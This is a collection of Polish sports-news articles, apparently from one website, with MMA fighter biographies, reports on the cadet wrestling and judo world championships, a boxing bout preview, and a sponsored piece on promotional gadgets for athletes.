Kogo zobaczymy na Wembley? W walce wieczoru zaprezentuje się Mariusz Pudzianowski, który zrobił ogromne wrażenie podczas ostatniej gali KSW 31, kiedy to potężnym ciosem już w dwudziestej siódmej sekundzie znokautował Rollesa Gracie. „Pudzian” zmierzy się z doskonale znanym polskim fanom Peterem Grahamem. O pas KSW pojedynek stoczą Borys Mańkowski oraz Michail Tsarev. W Londynie zaprezentują się również Marcin Różalski, Mateusz Gamrot, Michał Włodarek i Rafał Moks. Ciekawie zapowiada się rywalizacja Bretta Coopera i Maiquela Falcao.

Gala KSW 32 „Road to Wembley” odbędzie się 31 października.

 

KM

Zoila Gurgel

Amerykańska zawodniczka MMA urodzona 10 grudnia 1983 roku w Fresno. W MMA zadebiutowała w 2009 roku. W swojej debiutanckiej walce pokonała Karinę Hallinan przez niejedno głośną decyzję sędziów. Jeszcze w tym samym roku podpisała kontrakt z czołową amerykańską organizacją MMA Strikeforce. Dla Strikeforce zadebiutowała 6 listopada pokonując Elishę Helsper na punkty po trzy rundowym pojedynku. Kolejny pojedynek stoczyła 26 marca 2010 roku z Mieshą Tate. Przegrała to starcie przez poddanie. Po tej przegranej właściciele Strikeforce nie przedłużyli z nią kontraktu. W czerwcu 2010 roku stoczyła walkę w organizacji Bellator w której stawką była kwalifikacja do inauguracyjnego turnieju o pas mistrzowski w wadze piórkowej. Gurgul znokautowała swoją przeciwniczkę Rosi Sexton ciosem kolanem i uderzeniami w parterze tym samym kwalifikując się do turnieju. Ćwierćfinał turnieju odbył się 19 sierpnia tego samego roku na gali Bellator 25. Gurgel pokonała wtedy Jessicę Penne przez decyzję sędziów.  W półfinale pokonała Jessicę Aguilar na punkty. Walka finałowa odbyła się  28 października na Bellator 34. W finale spotkała się z Megumi Fujii. Po pięciu rundach sędziowie orzekli niejedno głośne zwycięstwo Gurgel. Amerykanka stała się pierwszą mistrzynią Bellatora w wadze piórkowej. 5 marca 2011 roku na gali Bellator 35 pokonała Karinę Hallinan na punkty. 26 października 2012 roku pokonała Casey Noland jednogłośną decyzją sędziowską. 7 grudnia tego samego roku przegrała z Jessicą Eye w pierwszej rundzie przez duszenie trójkątne. 5 kwietnia 2013 roku na gali Invicta FC 5 przegrała z Jennifer Maia na punkty. 7 grudnia 2013 roku na gali Invicta FC 7 przegrała z Vanessą Porto przez decyzję sędziowską. 

Klasyczne medale

Mistrzostwa świata kadetów w zapasach w Sarajewie już na finiszu. Polska zapisała na swoim koncie dwa medale.

Zdobycz biało-czerwonych to srebro i brąz. Po medale sięgali tylko zawodnicy w stylu klasycznym. Słabo wypadły nasze zapaśniczki, które z dobrej strony pokazały się na mistrzostwach Europy. Tym razem osiągnięć medalowych nie udało się powtórzyć. Szybko z mistrzostw odpadali również zapaśnicy w stylu wolnym.

Jednorazowy ćwierćfinał

Ostatnie dwa dni rywalizacji w Sarajewie to zmagania zawodników w stylu wolnym. W przypadku Polaków trudno mówić o sukcesach, gdyż większość z naszych zapaśników poległa już w eliminacjach. Do fazy ćwierćfinałowej przebił się jedynie Kamil Banaszek w kategorii 54kg. Polski zawodnik zmagania w mistrzostwach rozpoczął od 1/8 finału. Jego rywalem był Nikola Levenov i Bułgara Banaszek wypunktował. W ćwierćfinale lepszy od naszego zawodnika okazał się reprezentant Iranu Hamed Siyahdoolan.

Już w kwalifikacjach udział w mistrzostwach zakończył się dla Adriana Wagnera (46kg), Dawida Piskorza (69kg), Michała Bielawskiego (76kg) i Mateusza Wróblewskiego (85kg). Dwie walki w Sarajewie stoczył Kordian Skrzyński w kategorii 50kg. Na pierwszym etapie zawodów polski zapaśnik uporał się z Arzo Isakovem, jednak kolejna walka nie potoczyła się po myśli naszego reprezentanta. Almaz Smanbekov pewnie wygrał rywalizację w 1/8 finału. Skrzyński został sklasyfikowany na jedenastym miejscu w swojej kategorii wagowej.

Wiktor Lejczak w 63kg po zaciętej walce odesłał do domu Ukraińca Oleksandra Vyshniaka. W 1/8 finału Polak trafił na twardego Gruzina Tornike Kvinikadze, który całkowicie zdominował rywalizację i odniósł pewne zwycięstwo. Na tym etapie odpadł również Jakub Brylewski w kategorii 100kg. Polaka wyeliminował Yakup Yerlikaya.

Bez mistrza

Dwa medale to przyzwoite osiągnięcie naszych kadetów. W Sarajewie nie udało się wywalczyć tytułu mistrza świata. O krok od złota był Norbert Daszkiewicz. Dwudziestu siedmiu zapaśników stanęło do rywalizacji o tytuł najlepszego na świecie w stylu klasycznym w kategorii 69kg. Wśród nich Polak, który od początku prezentował równą i stabilna formę. Po kiepskim starcie na mistrzostwach Europy Daszkiewicz wyciągnął odpowiednie wnioski. Tyle, że w Sarajewie po raz kolejny trafił na przeszkodę nie do przejścia w postaci Aleksandra Komarowa. Rosjanin będzie śnił się naszemu zawodnikowi po nocach. Wyeliminował go z mistrzostw Europy, a w Sarajewie pozbawił szans na tytuł mistrza świata. Daszkiewicz wykonał kawał dobrej roboty, wygrywając cztery pojedynki. Tytuł wicemistrza świata w rękach polskiego zapaśnika.

Z kolei po brązowy medal sięgnął Patryk Kamiński w kategorii 100kg. W półfinale na drodze Polaka stanął Amin Mirzazadeh, który wywalczył tytuł mistrza świata. Kamiński musiał zadowolić się finałem pocieszenia. Polski zapaśnik kończył rywalizację z rękoma górze, dzięki wygranej w pojedynku z Valerim Ivanovem.

KM

Drużyna na medal!

Do ostatniego dnia rywalizacji w mistrzostwach świata w judo w Astanie musieliśmy czekać na medal. Na drugim miejscu podium uplasowała się żeńska reprezentacja Polski.

Podopieczne trener Anety Szczepańskiej w finale uległy Japonkom. Tym samym Polki poprawiły wynik z poprzednich mistrzostw świata. Rok temu w Czelabińsku biało-czerwone zajęły piąte miejsce.

Rosja rozbita

W drodze do finału Polki miały okazję rywalizować z Niemkami i Rosjankami. W obu przypadkach triumfowały, ale były to zupełnie różne pojedynki.

Jednak po kolei. Polska drużyna przystąpiła do rywalizacji w składzie: Karolina Pieńkowska (52kg), Anna Borowska i Arleta Podolak (obie 57kg), Agata Ozdoba i Karolina Tałach (63kg), Katarzyna Kłys (70kg), Daria Pogorzelec i Katarzyna Furmanek (+70kg). W eliminacjach podopieczne Anety Szczepańskiej trafiły na Algierię. W tym przypadku mówimy o różnicy klasy. Biało-czerwone nie pozostawiły rywalkom żadnych złudzeń, kto jest w tej parze lepszy. Po 10:0 zwyciężały Podolak, Kłys i Furmanek. Swoje pojedynki wygrały również Pieńkowska oraz Tałach. Gładkie 5:0 i czas na kolejny pojedynek.

W ćwierćfinale Polki trafiły na Niemki, które rok temu pozbawiły naszą drużynę szans na brązowy medal mistrzostw świata. Zatem nadarzyła się fantastyczna okazja do rewanżu. Ćwierćfinał lepiej rozpoczął się dla Niemek. Maaren Kraeh wypunktowała Karolinę Pieńkowską, jednak po chwili był remis. Arleta Podolak stoczyła wyrównaną walkę z Violą Waechter, ale to Polka była minimalnie lepsza. Martyna Trajdos przez ippon pokonała Agatę Ozdobę, jednak kolejne odsłony rywalizacji należały do biało-czerwonych. Kłys i Pogorzelec zrobiły, co do nich należało i wprowadziły Polskę do półfinału. Co ciekawe, na punkty lepsze okazały się Niemki -17:11. W półfinale czekały Rosjanki. Polska całkowicie rozbiła reprezentację Sbornej. Biało-czerwone nie pozostawiły rywalkom cienia szansy na zwycięstwo. Warto podkreślić, że w półfinałowej rywalizacji Rosjanki nie zdobyły ani jednego punktu! Przez ippon wygrały Kłys i Ozdoba. Pewne zwycięstwa odniosły również Pieńkowska, Podolak i Pogorzelec. Tym samym Polki zrewanżowały się za porażkę w ćwierćfinale Igrzysk Europejskich w Baku.

Decydujące starcie

O sile Japonii w judo nikogo nie trzeba przekonywać. Polska reprezentacja stanęła przed trudnym zadaniem. Japonia przystąpiła do finału w składzie: Misato Nakamura, Anzo Yamamoto, Miku Tashiro, Chizuru Arai oraz Kanae Yamabe. Zawodniczki doskonale znające smak sukcesu i przez lata pozostające w gronie najlepszych na świecie.

Polska w półfinale rozbiła Rosję, a w finale miała niewiele do powiedzenia. Całkowita dominacja Japonii. Rozkładając tę rywalizację na punkty wszystko jest jasne i oczywiste – 41:0. Cztery ippony i po sprawie. Tylko Katarzynie Kłys udało nawiązać się wyrównaną walkę z Arai, jednak i tak poniosła minimalną porażkę.

Srebrny medal to ogromny sukces naszej drużyny. Polska powtarza wyniku z poprzednich mistrzostw, kiedy również wywalczyliśmy jeden medal. Wtedy brąz, teraz srebro.

KM

Brak medalu w Astanie

Mistrzostwa świata w judo nie są spełnieniem marzeń Polaków. Kolejna trójka naszych reprezentantów odpadła w eliminacjach.

Rok temu w Czelabińsku w indywidualnych startach biało-czerwoni za sprawą Katarzyny Kłys sięgnęli po brązowy medal mistrzostw świata, na który Polska czekała aż jedenaście lat. W Astanie wyniku nie udało się powtórzyć, a najlepsze osiągnięcie to piąte miejsce Darii Pogorzelec w kategorii 78kg. Pozostaje jeszcze jedna szansa medalowa. W zawodach drużynowych wystąpi żeńska reprezentacja Polski.

Mistrz lepszy od Sarnackiego

Jako ostatnia z naszych zawodniczek na tatami zaprezentowała się Katarzyna Furmanek w kategorii +78kg. Judoczka AZS AWFiS Gdańsk bardzo dobrze rozpoczęła udział w mistrzostwach, a w zasadzie szybko i bezproblemowo. Polka potrzebowała zaledwie dwudziestu czterech sekund, aby pokonać Giordannę Gutierrez z Chile. W 1/32 finału rywalką Furmanek była Ksenia Chibisowa. Rosjanka zwyciężyła, jednak nie zdominowała swojej rywalki. Furmanek przegrała przez dyskwalifikację, do której podstawą były cztery kary shido.

Sobota została okraszona zaledwie jedną zwycięską walką naszych judoków. Szybko z mistrzostwami pożegnał się Jakub Wójcik w kategorii 100kg. Kyle Reyes wygrał przez ippon. Maciej Sarnacki w kategorii +100kg był jedną z polskich nadziei medalowych. Judoka Gwardii Olsztyn uznawany jest obecnie za najlepszego zawodnika w kraju bez podziału na kategorie wagowe. Przed mistrzostwami pokazał się z dobrej strony w zawodach w Tiumeniu, co dawało podstawę do stawiania go w roli faworyta do podium. W 1/32 finału Polak trafił na ósmego zawodnika światowego rankingu Adama Okruashviliego. Gruzin wygrał dzięki waza-ari.

Legendarny Riner

To, że Francuz jest wybitnym judoką wiadomo nie od dziś. Teddy Riner przekracza granice. W Astanie sięgnął po raz ósmy po mistrzostwo świata. Francuz w finale kategorii +100kg okazał się lepszy od Ryu Shichinohe. Obaj spotkali się również przed rokiem w Czelabińsku i wtedy, jakżeby inaczej, triumfował wielki Riner. Brązowy medal trafił w ręce pogromcy Macieja Sarnackiego – Okruashiviliego. Na trzecim miejscu podium stanął również Jakiw Chammo.

Warto nadmienić, że Riner dokonał nie lada wyczynu. Złoto zdobyte w Astanie sprawiło, że trafił na karty historii. Francuz wyprzedził na liście wszech czasów Ryoko Tani, która siedem razy sięgnęła po tytuł mistrzyni świata.

Lukas Krpalek w Astanie nie wywalczył medalu. Czech w kategorii 100kg zajął piąte miejsce. Złoto trafiło w ręce Ryunosuke Hagi, który w finale pokonał Karlema-Richarda Freya. Brązowe medale dla Belga Toma Nikiforova oraz Niemca Dimitri Petersa. Kategoria +78kg wśród pań bez zawodniczki z Europy w strefie medalowej. Cieszą się Chińczycy z triumfu Yu Song, która w finale pokonała Japonkę Megumi Tachimoto. Podium uzupełniły: Kanae Yamabe i Idalys Ortiz.

KM

Gadżety reklamowe dla sportowców – co im się podoba?

Sportowcy są specyficzną grupą użytkowników i konsumentów, którzy są odbiorcami wielu różnych produktów. Aktywność jest tu kluczem do sukcesu przy wyborze odpowiednich dla nich gadżetów reklamowych.

Aktywny styl życia

Na całym świecie coraz więcej ludzi wyznaje zdrowy styl życia. Chce być aktywnym i w dobrej kondycji fizycznej, aby na dłużej móc zachować młodość. Sportowcy znakomicie wpisują się w ten trend. Mają pasję, której całkowicie się oddają. Wielu z nich świetnie zarabia robiąc to, co lubi. Sport to zdrowie – taka dewiza jest jak najbardziej prawdziwa i mamy tego świadomość.

Dlatego też w wielu kampaniach promocyjnych i reklamowych coraz częściej wykorzystuje się przeróżne elementy sportu i związanych z nim osób. Widząc człowieka sukcesu – wysportowanego i aktywnego, chętniej kupimy dany produkt. Z drugiej strony, sami sportowcy wykorzystują swoją pozycję zajmowaną w społeczeństwie, aby móc zarabiać jako „nośnik reklamy”. Szukają sponsorów, którzy byliby w stanie finansować na przykład ich liczne podróże z uwagi na rozgrywane na różnych kontynentach zawody sportowe.

Zawodowe uprawianie sportu sporo może kosztować. Wiedzą o tym najlepsi tenisiści, z Agnieszką Radwańską na czele. Na najwyższych szczeblach kariery zawodowej w wielu dyscyplinach sportowych swobodnie zarabia się na podróżowanie związane z uprawianym zawodem, ale na początku potrzebny jest sponsor. Może nim zostać np. producent odzieży sportowej, albo każda inna marka, którą sportowiec będzie chciał reprezentować.

Jakie gadżety dla sportowca?

Kiedy sportowiec i sponsor rozpoczynają współpracę albo planują jej rozpoczęcie, częstą praktyką jest wręczanie gwieździe sportu różnorodnych gadżetów. Najlepiej, aby były one dla niej jak najbardziej przydatne. Dla tenisisty może to być obszerna, sportowa torba z widocznym logo reklamowanej marki, albo worek na dodatkowy strój na siłownię. Może to być czapeczka, daszek sportowy od słońca albo ubrania dopasowane do płci i dyscypliny sportowej uprawianej przez daną osobę. Świetnie sprawdzają się i inne gadżety, niekoniecznie spójne z pasją sportowca – zestaw do gry bule, zestaw do golfa czy też do badmintona. To, że sportowiec uprawia piłkę siatkową nie oznacza, że od czasu do czasu nie chciałby spróbować nieco innej dyscypliny sportowej.

Sportowcy bardzo lubią przydatne, praktyczne gadżety. Pokrowiec na rakietę tenisową, wózek na kije do golfa albo etui na inne akcesoria sportowe to niewątpliwie ciekawe gadżety reklamowe. Można wręczyć koszulkę z nazwiskiem sportowca, opatrzonym logo producenta, czy też zestaw piłek do golfa. To tylko jedne z licznych pomysłów gadżetów reklamowych dla sportowców. Powinny one mieć zwykle związek z szeroko rozumianą aktywnością fizyczną, ale nie musi to być absolutnie wymagane. Sportowcy ucieszą się również z gadżetów reklamowych elektronicznych czy praktycznych do zastosowania w domu lub w ogrodzie.

Marcin Walas

Sportowe gadżety reklamowe znajdziesz tutaj: www.easyb2b.pl/sport.

Daszkiewicz wicemistrzem świata

Norbert Daszkiewicz szedł jak burza w mistrzostwach świata kadetów w zapasach, które odbywają się w Sarajewie. Polak był o krok od złotego medalu.

Bacznie śledzimy poczynania naszych zapaśników podczas światowego czempionatu. Do tej pory Polska zapisała na swoim koncie dwa medale. Do końca pozostały jeszcze dwa dni rywalizacji, w których zaprezentują się panowie w stylu wolnym.

Rosjanin zbyt twardy

Daszkiewicz rywalizował w kategorii 69kg w stylu klasycznym, gdzie zaprezentowało się dwudziestu siedmiu zapaśników. W drodze do finału Polak imponował przygotowaniem, kondycją oraz konsekwencją. Wyraźnie widać było, że Daszkiewicz wyciągnął wnioski z mistrzostw Europy, gdzie nie zaprezentował się najlepiej. W mistrzostwach świata nastąpiła poprawa. Daszkiewicz doskonale przygotował się do czempionatu, w którym wygrał cztery pojedynki.

Na początku zawodnikowi z Wrocławia przyszło rywalizować z Elisaidem Clisadem, który nie sprawił Polakowi trudności. W kolejnym pojedynku Daszkiewicz odprawił z turnieju Nikooloza Tchikadze. Gruzin ma wysoki potencjał, o czym świadczy fakt, że w Sarajewie sięgnął po brązowy medal. Ostatnią przeszkodą na drodze Polaka do strefy medalowej był Shayan Afifi , jednak po wyrównanej walce triumfował Daszkiewicz. Abudakr Alimov był półfinałowym rywalem zawodnika z Wrocławia. Daszkiewicz wykonał drogę w stronę triumfu i w finale spotkał się z Aleksandrem Komarowem.

Polak nie miał najlepszych wspomnień z rywalizacji z Rosjaninem. Komarow wyeliminował Daszkiewicza z rywalizacji w mistrzostwach Europy. W Sarajewie doszło do powtórki. Komarow po raz kolejny udowodnił swoją wyższość. Mimo to Daszkiewicz osiągnął wielki sukces, gdyż tak należy rozpatrywać wywalczenie srebrnego medalu mistrzostw świata kadetów.

Wcześniej po brązowy medal sięgnął Patryk Kamiński w kategorii 100kg. Zapaśnik Cementu Gryfa Chełm w decydującej walce uporał się z Valerim Ivanovem.

Kulwicka nie powtórzyła sukcesu

W mistrzostwach Europy kadetów w Suboticy z dobrej strony pokazały się nasze zapaśniczki. Alicja Czyżowicz w kategorii 52kg i Ewelina Ciunek w 65kg sięgnęły po srebrne medale, a Dominika Kulwicka w 56kg zdobyła brąz.

Tym razem Kulwickiej nie udało się stanąć na podium. Nasza zapaśniczka w Sarajewie stoczyła zaledwie jedną walkę, jednak trafiła na wymagającą rywalkę. Shabnam Ahmadova wypunktowała Polkę i stanęła na podium. W ostatecznym rozrachunku zawodniczka z Azerbejdżanu sięgnęła po brązowy medal. Z kolei Kulwicką sklasyfikowano na osiemnastym miejscu. W kategorii 56kg wystąpiły dwadzieścia trzy zapaśniczki.

Po jednej walce w Sarajewie stoczyły również Martyna Cieślak (38kg), Magdalena Majos (46kg), Renata Nieściur (49kg) i Marlena Kister (65kg). Alicja Czyżowicz przeszła 1/8 finału, jednak w ćwierćfinale kategorii 52kg nie sprostała Leylii Gurbanovej z Azerbejdżanu. Po porażce z Mei Shindo występ w repasażach czeka Justynę Walotek w kategorii 70kg.

KM

Josh Barnett

Amerykański zawodnik MMA oraz wrestler urodzony 10 listopada 1977 roku w Seattle. Pierwszą profesjonalną walkę stoczył w styczniu 1997 roku. Wygrywając sześć pojedynków z rzędu został zaangażowany przez UFC. W debiucie podczas gali UFC 27 pokonał przez TKO Gana McGee. W swojej drugiej walce, w lutym 2001 roku doznał pierwszej porażki w karierze, gdy został znokautowany przez Pedro Rizzo. Następne dwa pojedynki z Semem Schiltem i Bobbym Hoffmanem wygrał przed czasem, dzięki czemu otrzymał szansę zmierzenia się z Randym Couture’em o mistrzostwo UFC wagi ciężkiej. Do starcia doszło 22 marca 2002 roku  podczas gali UFC 36. W pierwszej rundzie przewagę miał Randy Couture, podobnie jak na początku drugiej rundy, gdzie obalił Barnetta. Barnett jednak zdołał odwrócić losy walki, gdy w połowie drugiej rundy zdobył dominującą pozycje w parterze, a następnie zakończył pojedynek przez TKO. Tym samym odebrał Couterowi tytuł stając się najmłodszym mistrzem wagi ciężkiej w UFC. Przeprowadzone testy antydopingowe wykazały jednak w organizmie Barnetta obecność zabronionych substancji. Komisja sportowa Stanu Nevada zawiesiła go 26 lipca 2002 roku na sześć miesięcy, a organizacja UFC pozbawiła tytułu. Wskutek wpadki dopingowej wyjechał do Japonii, gdzie od lutego 2003 do maja 2004 występował jako wrestrel w organizacji New Japan Pro Wrestling. Równocześnie kontynuował karierę MMA. 31 sierpnia 2003 roku pokonał w Tokio przez duszenie zza pleców Yukiego Kondo, zdobywając tytuł króla Pancrase w kategorii otwartej. Cztery miesiące później, podczas organizowanej przez Antonio Inokiego sylwestrowej gali Inoki Bom-Ba-Ye 2003 po raz drugi w karierze wygrał z Semem Schiltem.Sukcesy te sprawiły, że organizacja PRIDE FC podpisała z nim kontrakt. Barnett zadebiutował w niej w październiku 2004, podczas gali PRIDE 28, w przegranym pojedynku z Mirko Filipoviciem. Była to pierwsza porażka Amerykanina od 3 lat, która kosztowała go ciężką kontuzję barku, która wyeliminowała go ze startów na rok. W pierwszej walce po powrocie zmierzył się w rewanżu z Filipoviciem. Ponownie przegrał tym razem przez jednogłośną decyzję. Pierwsze zwycięstwo w Pride zanotował w lutym 2006 roku gdy podczas Pride 31 wygrał przez duszenie zza pleców z Kazuhiro Nakamurą. Następnie wystartował w turnieju PRIDE Openweight Grand Prix. W pierwszej rundzie i ćwierćfinale pokonał odpowiednio Aleksandra Jemieljanienkę i Marka Hunta. Półfinały i finały zostały rozegrane jednego dnia 10 września 2006 roku. Barnett awansował do finału po wyrównanym pojedynku z byłym mistrzem PRIDE w wadze ciężkiej Antonio Rodrigo Nogueirą, którego pokonał przez niejedno głośną decyzję sędziowską.  W walce o mistrzostwo zmierzył się po raz trzeci z Filipoviciem. Chorwat dominował od samego początku, dwukrotnie posyłając Amerykanina na deski.  W końcu po 5 minutach i 32 sekundach walki, zmusił Barnetta do poddania się na skutek ciosów pięściami w parterze. W 2006 roku Barnett stoczył w PRIDE jeszcze dwie walki: wygraną przed czasem z Pawłem Nastulą i przegrany przez decyzję rewanż z Antonio Nogueirą.  W 2007 roku PRIDE została sprzedana właścicielom UFC i w praktyce przestała funkcjonować, a Barnett został wolnym agentem. Na ring powrócił wiosną 2008 roku, gdy wystąpił  na dwóch pierwszych galach nowo powstałej japońskiej organizacji World Victory Road, pokonując Hidehiko Yoshidę i Jeffa Monsona. Po sześciu latach od chwili odejścia z UFC, Barnett stoczył w lipcu 2008 roku pierwszą walkę na terenie USA. Podczas gali Affliction: Banned zrewanżował się Pedro Rizzo za nokaut z przed siedmiu lat, samemu nokautując Brazylijczyka. W swoim drugim pojedynku dla Affliction pokonał przed czasem Gilberta Yvela. Trzecią walką miała być zaplanowana na 1 lipca 2009 konfrontacja z ostatnim mistrzem PRIDE Fiodorem Jemieljanienką. Pojedynek ten jak i cała gala, został jednak odwołany z powodu pozytywnego testu antydopingowego Barnetta. We wrześniu 2010 roku podpisał kontrakt z Strikeforce. W 2011 roku wystartował w 8-osobowym turnieju Strikeforce World Grand Prix skupiającym najlepszych zawodników tej organizacji w wadze ciężkiej. W czerwcu w jednym z ćwierćfinałów pokonał Bretta Rogersa, natomiast we wrześniowym półfinale pokonał Sergieja Charitonowa. W walce finałowej, która odbyła się 20 maja 2012 roku, zmierzył się z Danielem Cormierem. Przegrał z  nim przez jednogłośna decyzję sędziów. Na początku 2013 roku podpisał kontrakt z UFC. 31 sierpnia 2013 roku pokonał Franka Mira przez TKO w pierwszej rundzie. 28 grudnia 2013 roku przegrał przez nokaut z Travisem Brown.

Cleverly na drodze Fonfary

Polski bokser pnie się w górę w wadze półciężkiej. Kolejnym rywalem Andrzej Fonfary na zawodowym ringu będzie Nathan Cleverly.

Pojedynek zaplanowany jest na 16 października w UIC Pavilion w Chicago i będzie głównym wydarzeniem gali Premier Boxing Champions. W tym roku obaj pięściarze stoczyli po jednej walce, które kończyły się ich triumfami.

Kolejne wyzwanie

Fonfara dostał okazję do zaprezentowania swoich możliwości w Chicago, czyli miejscu bliskim jego sercu. W kwietniu w StubHub Center polski pięściarz spotkał się z Julio Cesarem Chavezem Jr. Fonfara pokazał, że ma potencjał, który pozwala widzieć w nim czołowego boksera wagi półciężkiej. Polak rozprawił się z legendarnym Chavezem Jr, posyłając go w dziewiątej rundzie na deski. Świat boksu bacznie przygląda się postępom 27-latka. Już w pojedynku z mistrzem świata WBC Adonisem Stevensonem Polak pokazał kawał dobrego pięściarstwa. Fonfara nie przestraszył się utytułowanego rywala i stoczył z nim wyrównany pojedynek, jednak sędziowie wskazali na zwycięstwo czempiona. Potem przyszła zwycięska walka z Doudou Ngumbu, a następnie propozycja pojedynku z Chavezem. Klasa rywali Polaka stopniowo wzrasta. Cleverly jest kolejnym mocnym nazwiskiem na zawodowej drodze Fonfara.

Polak konsekwentnie buduje swoją pozycję. Do tej pory Fonfara zanotował na zawodowym ringu trzy porażki. W 2008 roku przegrał z Derrickiem Findleyem, a następnie odniósł piętnaście zwycięstw, które doprowadziły go do rywalizacji ze Stevensonem. Obecnie Polak znajduje się w czołówce kategorii ciężkiej. Teraz dostaje szansę walki o pas międzynarodowego mistrza WBC, w którego posiadaniu jest Cleverly.

Kolejny krok?

Nathan Cleverly ma już w swojej karierze polski wątek. W maju 2011 roku zmierzył się z Aleksym Kuziemskim i już w czwartej rundzie mógł się cieszyć ze zwycięstwa. Powodem była kontuzja rywala.

Walijczyk to utytułowany pięściarz, który w swoim dorobku ma mistrzostwo świata WBO. Przez dwa lata Cleverly skutecznie bronił pasa. Mistrzostwo trafiło do jego rąk w związku z kontuzją oka Jurgena Brahmera. Do pojedynku pomiędzy Walijczykiem, a Niemiec miało dojść w maju 2011 roku. Brahmer został pozbawiony pasa, a Cleverly stoczył walkę z Kuziemskim. W sierpniu 2013 roku Walijczyk stracił pas w starciu z Sergiejem Kovaliewem. Od tamtego czasu przegrał jeszcze jeden pojedynek.

W tym roku Walijczyk stoczył jedną walkę. Tomas Man już w pierwszej rundzie uznał wyższość swojego rywala. Cleverly chce ponownie wejść na szczyt. Podobnie jest z Fonfarą, dla którego rywalizacja z Walijczykiem ma być kolejnym krokiem na drodze do rewanżu ze Stevensonem. Polak jest zdeterminowany, aby wejść na szczyt wagi półciężkiej. Cleverly to wymagający i doświadczony rywal, ale jest jeszcze młody. Obaj mają ambicje i to już jest czynnikiem, którzy może sprawić, że październikowa walka będzie arcyciekawa.

KM

Anthony Pettis

Amerykański zawodnik MMA urodzony 27 stycznia 1987 roku w Milwaukee.  W MMA zadebiutował w 2007 roku na gali Gladiators Fighting Series – Super Brawl. Pokonał wtedy innego debiutanta Toma Erspamera przez TKO już w 24 sekundzie pojedynku. Przez następne dwa lata był związany z organizacją Gladiators Fighting Series dla której stoczył jeszcze siedem walk wszystkie zwycięskie. Zdobył tytuł mistrzowski tej organizacji i obronił go dwukrotnie. Na przełomie 2008/2009 roku podpisał kontrakt z World Extreme Cagefighting. Swój pierwszy pojedynek dla WEC stoczył 7 czerwca 2009 roku na gali WEC 41 poddając Mike’a Campbella duszeniem trójkątnym. Drugi pojedynek stoczył 19 grudnia przeciwko pochodzącemu z Polski Bartowi Palaszewskiemu. Po trzech rundach wyrównanego pojedynku sędziowie niejedno głośnie orzekli zwycięstwo Polaka. To była pierwsza porażka Pettisa w MMA. Kolejny pojedynek w WEC stoczył 6 marca 2010 roku. Znokautował wtedy wysokim kopnięciem i ciosami w parterze Dannego Castillo.  Po szybkim zwycięstwie nad Castillo kolejną walkę stoczył miesiąc później. Jego rywalem był Alex Karalexis. Pettis wygrał poddając swojego rywala duszeniem trójkątnym. 18 sierpnia 2010 roku wystąpił na jubileuszowej 50. Gali World Extreme Cagefighting. Jego przeciwnikiem był Shane Roller. Na 9 sekund przed końcem pojedynku Pettis poddał rywala duszeniem trójkątnym. Po serii wygranych Anthony otrzymał możliwość stoczenia walki o pas mistrzowski wagi lekkiej, który był w posiadaniu Bensona Hendersona. Do walki doszło 16 grudnia 2010. Mistrzowski pojedynek trwał cały dystans pięciu rund w czasnie których przeważał Pettis punktując akcjami bokserskimi. Ostatecznie wygranym został Pettis zdobywając pas mistrzowski. Na początku 2011 roku WEC zostało wchłonięte przez UFC. Swój pierwszy pojedynek stoczył 4 czerwca 2011 roku na gali The Ultimate Fighter 13 Finale. Przeciwnikiem Pettisa był Clay Guida. Po trzech rundach pojedynku, sędziowie orzekli zwycięstwo Guidy. Po przegranym debiucie w UFC, stoczył wygrany pojedynek z Jeremym Stephensem. Kolejny jego pojedynek został zaplanowany 26 lutego 2012. Jego rywalem został Joe Lauzon, którego Pettis znokautował w niespełna półtorej minuty. Na UFC on Fox 6 stoczył zwycięski pojedynek z Donaldem Cerrone, pokonując go przez nokaut.  Po krótkim czasie Pettis zasugerował, że mógłby stoczyć walkę z mistrzem Bensonem Hendersonem którego w przeszłości pokonał. Do starcia doszło 31 sierpnia na gali UFC 164. Anthony i tym razem pokonał mistrza i zdobył tytuł. 6 grudnia 2014 roku poddał Gilberta Melendeza w drugiej rundzie.  14 marca 2015 roku stracił pas na rzecz Brazylijczyka Rafaela Dos Anjosa z którym przegrał na punkty. 17 stycznia 2016 roku Pettis przegrał przez niejednogłośną decyzję z Eddie Alvarezem. 

Dominick Cruz

Amerykański zawodnik MMA pochodzenia Meksykańskiego  urodzony 3 września 1985 roku. W MMA zadebiutował w 2005 roku. Na początku swojej kariery związał się  z organizacją RITC, a później także Total Combat. Po wygranych 9 walkach z rzędu podpisał kontrakt z dużą amerykańską organizacją WEC. Cruz zadebiutował w WEC na gali WEC 26, 24 marca 2007 roku. Walczył wtedy o pas mistrzowski w wadze piórkowej z Urijahem Faberem. Przegrał przez duszenie gilotynowe w pierwszej rundzie, doznając swej pierwszej porażki w karierze. W 2008 roku zadebiutował w wadze koguciej. Po pokonaniu kolejno Charliego Valencii, Iana McCalla, Ivana Lopeza oraz Josepha Benavideza zmierzył się z mistrzem wagi koguciej organizacji WEC, Brianem Bowlesem. Starcie zakończyło się na korzyść Cruza. Po raz pierwszy bronił tytułu w walce rewanżowej przeciwko Josephowi Benavidezowi. Walka zakończyła się wygraną mistrza. Ostatnia gala WEC obyła się 16 grudnia, a jedną z rozegranych walk był pojedynek Cruza ze Scottem Jorgensenem. Cruz wygrał przez decyzję, stając się tym samym pierwszym w historii czempionem UFC w wadze koguciej. 2 lipca 2011 roku stoczył swoją pierwszą walkę w UFC. Jego rywalem był Urijah Faber, a stawką pojedynku posiadany przez Cruza pas mistrzowski. Cruz obronił go, wygrywając przez jednogłośną decyzję sędziowską. Następny pojedynek w obronie tytułu stoczył 1 października 2011 roku przeciwko Demetriousowi Johnsonowi na gali UFC Live 6. Cruz wygrał ten pojedynek jednogłośną decyzją sędziów. 27 września 2014 roku znokautował Takeya Mizugaki.  17 stycznia 2016 w walce o pas mistrzowski z T.J. Dillashaw, Cruz pokonał mistrza i odebrał mu tytuł mistrza świata. 4 czerwca 2016 roku w obronie pasa mistrzowskiego pokonał Urijah Fabera przez jednogłośną decyzję sędziów.

DOKUMENT: Pierwszy roczek DSF Kickboxing Challenge

Zapraszamy do obejrzenia pierwszego odcinka dokumentu z serii: Pierwszy roczek federacji DSF Kickboxing Challenge.

